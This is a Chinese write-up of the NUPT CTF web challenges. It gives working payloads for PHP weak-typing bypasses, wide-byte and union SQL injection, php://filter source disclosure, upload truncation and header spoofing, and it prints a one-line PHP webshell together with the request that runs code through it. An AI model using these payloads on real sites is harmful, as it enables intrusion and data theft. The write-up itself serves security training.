南邮ctf-web题解

签到题

直接右键查看源码即可getflag

md5 collision

源码

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}

此处利用的是php弱类型的特点,== 在进行比较的时候,会先将字符串类型转化成相同,再比较,例如"admin"==0 比较的时候,会将admin转化成数值,强制转化,由于admin是字符串,转化的结果为0。"1admin"==1 比较的时候会将1admin转化成数值,结果为1,而“admin1“==1 却等于错误,也就是"admin1"被转化成了0。
"0e123456"=="0e456789"相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。

0e开头的md5字符串:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

所以可以直接通过如下payload得到flag:

http://chinalover.sinaapp.com/web19/?a=s878926199a

签到2

直接修改maxlength="99999",然后输入zhimakaimen,即可getflag:

这题不是WEB

直接将页面的2.gif图片下载,然后使用winhex打开,搜索ctf即可得到flag:

层层递进

<iframe>标签中跟着链接依次访问嵌套的SO.html -> S0.html->SO.htm ->S0.htm->404.html ,在404.html注释中找到flag

AAencode

打开以后乱码,使用火狐浏览器的Unicode编码(f10>查看>文字编码>unicode)即可恢复页面。

直接丢进控制台执行即可得到flag:

nctf{javascript_aaencode}

单身二十年

直接使用burpsuite拦截包,然后发送即可getflag。

php decode

题目给出如下代码:

<?php
function CLsI($ZzvSWE) {

    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));

    for ($i = 0; $i < strlen($ZzvSWE); $i++) {

        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

    }

    return $ZzvSWE;

}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

因为CLsI()函数返回的是一串字符串,而eval()函数是执行函数,所以将eval改为echo即可。

<?php
function CLsI($ZzvSWE) {

    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));

    for ($i = 0; $i < strlen($ZzvSWE); $i++) {

        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

    }

    return $ZzvSWE;

}
echo(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

文件包含

可以使用如下payload直接读取index.php的源码即可,得到index.php的源码(此源码进过base64加密过了)

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

直接使用python解密即可:

import base64


str = "base64的值"
plantext = base64.b64decode(str).decode('utf-8')
print(plantext)

即可成功得到flag:

关于php的伪协议的应用推荐三篇文章:

http://www.4o4notfound.org/index.php/archives/31/

https://www.cnblogs.com/LittleHann/p/3665062.html

https://www.leavesongs.com/PENETRATION/php-filter-magic.html

单身一百年也没用

flag藏在返回包中,过于简单:

Download~!

此题目无法访问。

COOKIE

将cookie中的login=0改为login=1即可成功getflag

MYSQL

根据提示查看robots.txt

别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

根据提示信息,我们需要以get方式向sql.php提交一个id,使得intval($_GET[id])为1024而$_GET[id]==1024为假。

方式1:传入id=1024.1,intval()函数会把1024.1取整为1024

方式2:利用intval()函数的特性:只识别到非数字的那一位,而松散比较的强制类型转换会把e当作科学记数法的一部分处理,即科传入id=1024e1

GBK Injection

根据标题,明显是宽字节注入,下面简单介绍手工注入和sqlmap宽字节注入的两种方式:

手工注入:

#判断列
1, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 2--+
#判断回显字段
2, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2--+
#查询当前数据库
3, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database()--+
#查询所有数据库
4, http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(schema_name) from information_schema.schemata--+
#查询当前数据库下的所有表名
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
#查询ctf4表下的字段名,此处ctf4转换为了16进制(ASCii->hex可以使用bp自带编码)
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634--+
#获取flag字段的值:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from `sae-chinalover`.ctf4--+
#由于再当前库,也可以直接指定表明即可:
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(flag) from ctf4--+

sqlmap注入

方式1:

#使用--tamper=unmagicquotes
sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1" --tamper=unmagicquotes -D sae-chinalover -T ctf4 -C flag --dump --hex

/x00

题目源码:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

此题利用的是ereg函数和strpos的漏洞。

ereg函数漏洞:

1,遇到%00则默认字符串结束

2,碰到参数是数组的返回为null,null不等于false

strpos函数漏洞

strpos函数也是只解析string类型的字符串,给他个数组就不知道如何解析,于是就返回为null。Null不等于false

推荐文章:https://blog.51cto.com/12332766/2149184

所以综上所述,此题解法有两种,给出payload:

payload1:

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu

payload2:

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=1

bypass again

题目源码:

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

此题的解法依旧有两种:

payload1:

http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=2

payload2:

http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a

变量覆盖

题目关键代码:

<?php

if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
    extract($_POST);
    if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php
        echo $theflag; ?></code>
                            </div>
                        <?php
    } ?>
                    <?php
} ?>

extract()函数存在变量覆盖漏洞,可以直接post两个参数,pass和thepassword_123并且使得其值都相等即可。

PHP是世界上最好的语言

链接挂了

参考网上的wp:

index.php主要源代码:

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}

eregi()函数判断id是否为hackerDJ,大小写敏感。网页会拒绝任何含有hackerDJ的提交(忽略大小写),但接受urldecode后为hackerDJ的字符串。

因为url在传入后台时会自动先进行一次url解码,所以这里需要二次编码

hackerDJurl编码后为%68%61%63%6b%65%72%44%4a

二次编码后为%2568%2561%2563%256b%2565%2572%2544%254a

其中%25是%的url编码。

伪装者

服务端代码错了。此题考察的是ip伪造,ip伪造常用方法:

X-Forwarded-For:
X-Forwarded-Host:
X-Client-IP:
X-remote-IP:
X-remote-addr:
True-Client-IP:
X-Client-IP:
Client-IP:
X-Real-IP:

Header

链接挂了。

上传绕过

1.文件系统0x00截断

在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞。通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。 (0x00是16进制值,不可见。)

绕过姿势:首先在如下图将/upload/修改为/upload/1.php+

然后在16进制编辑器中,找到该位置的2b修改为00:如下图:

然后发送该包,即可成功getflag。

SQL注入1

题目源码:

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

此题考察简单的sql注入漏洞,直接使用如下payload即可成功getflag:

post:

user=admin')#

pass=admin

pass check

题目源码:

$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

此题考察的是strcmp函数的漏洞:

函数介绍:

定义用法:
Strcmp(string1,string2)函数比较两个字符串
返回值:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2

漏洞点:

处理数组的时候返回null
传递数组的时候,函数没有办法比较数组,返回null,php语言本身就是弱类型的语言,null不等于0

所以此题可以直接post如下参数getflag:pass[]=0

起名字真难

源码:

<?php
function noother_says_correct($number)
{
       $one = ord('1');
       $nine = ord('9');
       for ($i = 0; $i < strlen($number); $i++)
       {
               $digit = ord($number{$i});
               if ( ($digit >= $one) && ($digit <= $nine) )
               {
                       return false;
               }
       }
          return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else
   echo 'access denied';
?>

此题需要使得key的值不为1-9之间的数字,但是又要求其值等于54975581388,将其十进制值转换为十六进制刚好为:ccccccccc,因此直接传入key=0xccccccccc即可成功getflag:

密码重置

打开url发现user1的参数是经过base64编码的,解密为ctfuser,我们只需要把admin经过base64编码,然后传给user1,在将input标签的readonly属性去掉,即可将ctfuser用户修改为admin用户,成功修改admin用户的密码,即可成功getflag:

php 反序列化(暂时无法做)

题目源码:

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
?>

构造payload:

<?php
class just4fun {
    var $enter;
    var $secret;
}
$a =new just4fun();
$f->enter=&$f->secret;
$sf = serialize($f);
echo $sf;
?>

输出如下:

O:8:"stdClass":2:{s:6:"secret";N;s:5:"enter";R:2;}

直接将上述payload赋值给pass即可getflag。

SQL Injection

主要源码:

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;
-->

可以采用如下闭合方式:

SELECT * FROM users WHERE name=' username ' AND pass=' password ';

即使得

username=
password=or 1=1--+

最后拼接结果:

SELECT * FROM users WHERE name=' \' AND pass=' or 1=1--+ ';

即使用反斜杠将单引号转义,使得name= \' AND pass=,则可以成功注入。

即最终payload如下:

http://chinalover.sinaapp.com/web15/index.php?username=\&password=or 1=1--+

综合题

1,首先打开url得到一串jsfuck编码的字符串如下:

2,直接复制到控制台执行即可,得到如下字符串:

3,访问该php文件:

4,得到提示,tip在header中,查看header,发现tip:history of bash

通常在用户的目录下面有一个.bash_history文件,该文件记录着用户的历史命令,我们可以通过dirsearch扫描发现该敏感文件,也可以直接访问该文件即可:

5,访问该文件,得到如下信息,即用户曾经进行过flag的备份:zip -r flagbak.zip ./*

6,直接下载flagbak.zip文件,即可得到flag.txt。

SQL注入2

题目源码:

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>

使用union select 进行注入:

#另该语句将会使得v01cano的md5值赋值给pw,即5717445c83e6944fa37ab2f19616e033是v01cano的md5。
user=v01cano' union select '5717445c83e6944fa37ab2f19616e033'#&pass=v01cano

综合题2

首先查看源码,访问:http://cms.nuptzj.cn/about.php?file=sm.txt

发现此处的文件读取漏洞:使用php伪协议读取文件源码:

payload如下:

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=index.php

写了个简易的脚本,将index.php,about.php等php文件读取,并且报存。

import requests
from bs4 import BeautifulSoup
import bs4
import base64

download = ["about.php", "index.php", "so.php", "preview.php", "antiinject.php"]
def gethtml(url):
    try:
        res = requests.get(url)
        if res.status_code == 200:
            res.encoding = res.apparent_encoding
            return res.text
        else:
            return None
    except:
        return None

def parsehtml(html):
    try:
        soup = BeautifulSoup(html, 'lxml')
        if isinstance(soup.select('body')[0], bs4.element.Tag):
            str = soup.select('body')[0].string
            str1 = base64.b64decode(str).decode('utf-8')
            return str1
        else:
            return None
    except:
        return None



if __name__ == '__main__':
    for i in range(0, len(download)):
        html = gethtml("http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource={}".format(download[i]))
        with open(download[i], 'a') as f:
            if parsehtml(html)== None:
                print(html, "文件为空")
            else:
                f.write(parsehtml(html))

然后观察各个文件,从about.php文件中观察到后台登录目录:loginxlcteam

直接访问即可:

http://cms.nuptzj.cn/loginxlcteam/index.php

观察到so.php存在sql注入漏洞:

so.php代码如下:

<?php
if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){
echo '万恶滴黑阔,本功能只有用本公司开发的浏览器才可以用喔~';
    exit();
}
$id=$_POST['soid'];
include 'config.php';
include 'antiinject.php';
include 'antixss.php';
$id=antiinject($id);
$con = mysql_connect($db_address,$db_user,$db_pass) or die("不能连接到数据库!!".mysql_error());
mysql_select_db($db_name,$con);
$id=mysql_real_escape_string($id);
$result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id");
$rs=mysql_fetch_array($result);
echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>

发现id参数经过了antiinject.php中的antiinject函数过滤。

查看antiinject.php内容:

<?php
function antiinject($content){
$keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","=");
$info=strtolower($content);
for($i=0;$i<=count($keyword);$i++){
 $info=str_replace($keyword[$i], '',$info);
}
return $info;
}
?>

发现空格,union,select等关键字都被地换成空了,不过此处关键字可以通过双写绕过,例如将union变为ununionion,空格可以通过注释绕过/**/

此处还需要记得将User-Agent修改为Xlcteam Browser,即可对soid参数进行注入:

此题需要同时绕过空格过滤和关键字过滤。本可以使用脚本:

nonrecursivereplacement.py:
关键字双写,可用于关键字过滤
space2comment.py:
用 /**/ 替代空格,用于空格的绕过
使用如下脚本无法进行注入:原因:sqlmap不能同时使用多个tamper进行替换,tamper有一个优先级的问题,例如如下两个tampper,nonrecursivereplacement的优先级为PRIORITY.NORMAL,space2comment的优先级为:PRIORITY.LOW
即:nonrecursivereplacement优先级高于space2comment,优先执行,执行完成后,再尝试space2comment脚本,而无法实现同时替换空格和双写。故如下脚本无法成功执行。
python2 sqlmap.py -u "http://cms.nuptzj.cn/so.php" --data="soid=1" --tamper="space2comment,nonrecursivereplacement" --user-agent="Xlcteam Browser" --dbs --dbms=mysql

手工注入代码如下:

1,首先猜测字段数:

有查询结果
soid=1/**/oorrdoorrderer/**/by/**/4
无查询结果
soid=1/**/oorrdoorrderer/**/by/**/5
猜测字段数为4

2,判断回显位置:

soid=100/**/uunionnion/**/seselectlect/**/1,2,3,4

得出回显字段为2和3,返回结果如下:

3,爆出当前数据库为:sae-exploitblog

soid=100/**/uunionnion/**/seselectlect/**/1,2,database(),4

4,最后使用注入语句注入出用户名和密码:

soid=100/**/uunionnion/**/seselectlect/**/1,(seleselectct/**/usernanameme/**/frofromm/**/adadminmin),(seleselectct/**/userpapassss/**/frofromm/**/adadminmin),4

5,得到经过加密了的密码:102 117 99 107 114 117 110 116 117

6,回头看看提示:

http://cms.nuptzj.cn/about.php?file=sm.txt

发现passencode.php文件提示:读取该文件:

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=passencode.php

代码如下:

<?php
function passencode($content) {
    //$pass=urlencode($content);
    $array=str_split($content);
    $pass="";
    for ($i=0;$i<count($array);$i++) {
        if($pass!="") {
            $pass=$pass." ".(string)ord($array[$i]);
        } else {
            $pass=(string)ord($array[$i]);
        }
    }
    return $pass;
}

根据代码写出解密脚本如下:

str = '102 117 99 107 114 117 110 116 117'
array = str.split(' ')
password = ""
for i in range(0, len(array)):
    password = password + chr(int(array[i]))
print(password)

得出密码为:fuckruntu

7,使用用户名admin和密码fuckruntu登录该系统

8,得到提示,在文件根目录下面存在小马:xlcteam.php

利用文件读取漏洞将其读出:

http://cms.nuptzj.cn/about.php?file=php://filter/read=convert.base64-encode/resource=xlcteam.php

得到源码如下:

<?php
$e = $_REQUEST['www'];
$arr = array($_POST['wtf'] => '/.*/e',);
array_walk($arr, $e, '');
?>

9,利用一句话小马执行命令,得到flag:

url:
http://cms.nuptzj.cn/xlcteam.php?www=preg_replace
post:
wtf=print_r(scandir('./'))

10,直接访问恭喜你获得flag2.txt即可成功得到flag:

下面自己写个脚本:

http://codeqi.top/2018/06/01/%E5%8D%97%E9%82%AE%E6%94%BB%E9%98%B2%E8%AE%AD%E7%BB%83%E5%B9%B3%E5%8F%B0Writeup/

https://rmb122.com/2018/05/18/nctf-writeup/

https://pengyang.me/2018/08/19/nctfzh2/

https://foxgrin.github.io/posts/7108/#SQL%E6%B3%A8%E5%85%A51

https://www.smi1e.top/sqlmap-tamper%E7%BC%96%E5%86%99/

密码重置2

1,根据提示1,查看源码即可发现管理员邮箱:[email protected]

2,根据提示2,可以获得.submit.php.swp文件,文件内容如下:

........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

3,得到flag需要使得token的长度为10并且token等于0,有两种绕过方式,第一种就是根据提示3,利用php弱类型的特点,在进行强制类型转换时候会将0e开头的数字串当作科学计数法,0的任何次方依旧是0,所以传值token=0e99999999即可绕过。也可以传值token=0000000000进行绕过。

file_get_contents

题目主要代码:

<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
    echo $nctf;
}-->

直接给出payload:

http://chinalover.sinaapp.com/web23/index.php?file=php://input

post:
meizijiu

这题使用bp提交没有用,我也不知道为啥,用postman提交就ok。

变量覆盖

源码:

<!--foreach($_GET as $key => $value){
        $$key = $value;
}
if($name == "meizijiu233"){
    echo $flag;
}-->

直接赋值即可getflag:

name=meizijiu233

此题考察变量覆盖漏洞,首先将name取出,赋值给$key,则$$key=$name,

将meizijiu233的值取出,赋值给$value,然后$$key=$value即可成功将使得$name=meizijiu223即可得到flag。

01-03 05:41